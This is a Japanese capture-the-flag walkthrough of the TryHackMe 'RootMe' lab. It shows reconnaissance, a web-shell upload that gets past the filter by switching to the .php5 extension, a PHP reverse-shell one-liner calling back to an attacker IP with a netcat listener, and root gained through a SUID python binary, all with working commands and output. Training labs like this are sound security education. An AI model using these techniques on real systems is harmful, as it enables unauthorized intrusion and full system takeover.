はまやんはまやんはまやん

hamayanhamayan's blog

RootMe 解説 (Writeup) [TryHackMe]

f:id:hamayanhamayan:20210516014019p:plain

一部を■で隠しています。

Task2:偵察

設問を見ると何をすればいいかが分かる。nmapとGoBusterしよう。

$ nmap -sC -sV $IP
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
$ gobuster dir -e -u http://$IP -w /usr/share/dirb/wordlists/common.txt
http://$IP/panel (Status: 301)

Task3 : シェル獲得

設問にリバースシェルをアップロードまで書いてしまっているので、それをやる。
/panel/にアクセスしてみよう。

f:id:hamayanhamayan:20210516022937p:plain

アップロード画面ですね。念のため/panel/index.phpとしてみるとつながるのでphpをwebshellを上げてやればよさそう。

何とかphpファイルをアップロードする

GitHub - artyuum/Simple-PHP-Web-Shell: Tiny PHP Web shell for executing unix commands from web page
ここらへんがいいんじゃないかな。

とりあえずアップロードしてみる。

f:id:hamayanhamayan:20210516023604p:plain

だめらしい。bypass方法は色々考えられるが、一番簡単な拡張子の変形でbypassしてみる。
実はPHPは色んな拡張子が使える。.php .php3 .php4 .php5 .phtml
php5に変えてみるとアップロードできた。
アップロード先へ行ってみるとWebshellが起動しているのでリバースシェルをやろう。

リバースシェル

自分のPCで> nc -vnlp 30303こんな風に待って、`php -r '$sock=fsockopen("[yourIP]",30303);exec("/bin/sh -i <&3 >&3 2>&3");''で起動。
ログインユーザーのホームディレクトリにuser.txtがあった。

$ cd ~
$ ls
html
user.txt
$ cat user.txt
■■■■■■■■■■

Task 4: 権限昇格

設問にはSUIDを見よと書いてあるので、見てみよう。

$ find / -type f -user root -perm -4000 2>/dev/null
/usr/bin/python

GTFOBinsに情報があるかと、設問の文字数を見ながら探すと、pythonを使えばよさそうである。

$ sudo install -m =xs $(which python) .
sudo: no tty present and no askpass program specified
$ /usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'  
id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
ls /
bin
boot
cdrom
dev
etc
home
initrd.img
initrd.img.old
lib
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
snap
srv
swap.img
sys
tmp
usr
var
vmlinuz
vmlinuz.old
ls /root
root.txt
cat /root/root.txt
■■■■■■■■■■■■■■■

ok. pythonのSUIDによる権限昇格コードはそのままコピペじゃ動かず、pythonの場所をフルパスにしないといけないので注意。